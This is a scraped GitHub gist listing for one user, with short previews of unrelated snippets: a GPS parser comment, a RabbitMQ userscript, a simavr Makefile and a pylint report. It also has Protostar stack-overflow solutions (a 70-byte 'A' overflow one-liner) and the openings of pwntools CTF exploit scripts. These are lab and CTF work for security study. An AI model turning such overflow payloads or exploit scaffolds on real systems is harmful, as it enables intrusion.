Skip to content

Instantly share code, notes, and snippets.

# This script is designed to extract CUPTs from a truth file
# Want to ignore all '#' from truth file
#
# Objective is to extract:
# 1. GPS time (double, column 1)
# 2. Latitude (double, column 3)
# 3. Longitude (double, column 4)
# 4. Height (double, column 5)
#
// ==UserScript==
// @name RabbitMQ Purge Button Adder
// @namespace http://www.grazfather.com/userscripts/purgeButton.user.js
// @version 0.1
// @description Adds a 'purge' button to every queue in queues view.
// @match http://localhost:15672/*
// @copyright Me
// ==/UserScript==
// a function that loads jQuery and calls a callback function when jQuery has finished loading
@Grazfather
Grazfather / gist:40d40e60bfa06e1c15fd
Created May 23, 2015 20:13
exploit-exercises protostar

Stack solutions

Stack 0

python -c "print 'A'*70" | ./stack0

Stack 1

@Grazfather
Grazfather / protostar.md
Created July 17, 2015 07:42
exploit-exercises.com protostar solutions

Protostar solutions

Stack

Stack 0

python -c "print 'A'*70" | ./stack0

Stack 1

#!/usr/bin/env python
from pwn import *
import sys
CREATE = "1"
DELETE = "2"
EDIT = "3"
PRINT = "4"
CHANGE = "5"
# This was done after the ctf
cts = [
"BUEF9r9AOjw6w8XSgaZJeD==",
"B9cb4emh7PKbfdg/OmKwl1==",
"CjbfcYrqVbnZt04GGy5Esn==",
"EMmqj/C0uWU8u2CMsvVtwl==",
"EkkUe6ukmUA90AvCXnJSTG==",
"Exjf76M+iY5s54GPGewKzj==",
"KLBgknyMMvzHtcHPMQeEl2==",
@Grazfather
Grazfather / Makefile
Created November 19, 2016 02:14
QiwiCTF 2016 RE300_3 simulation code
#
# Copyright 2008, 2009 Michel Pollet <buserror@gmail.com>
#
# This file is part of simavr.
#
# simavr is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
@Grazfather
Grazfather / soln.py
Created November 21, 2016 22:56
RC3 IMS-easy PWN 150 solution
#!/usr/bin/env python
import sys
from pwn import *
ADD = "1"
VIEW = "3"
QUIT = "4"
@Grazfather
Grazfather / RC3-cardmaker.py
Last active June 4, 2017 18:51
RC3 PWN 500 Card maker solution
#!/usr/bin/env python
import sys
from pwn import *
port = 8080
strtol_addr = 0x6030B0

Original report:

************* Module gef
W:2774, 0: TODO: add more customizable items (fixme)
W:100, 0: Anomalous backslash in string: '\-'. String constant might be missing an r prefix. (anomalous-backslash-in-string)
C:173, 0: Exactly one space required around comparison
    if len(sys.argv)==2 and sys.argv[1]=="--update":
                    ^^ (bad-whitespace)
C:173, 0: Exactly one space required around comparison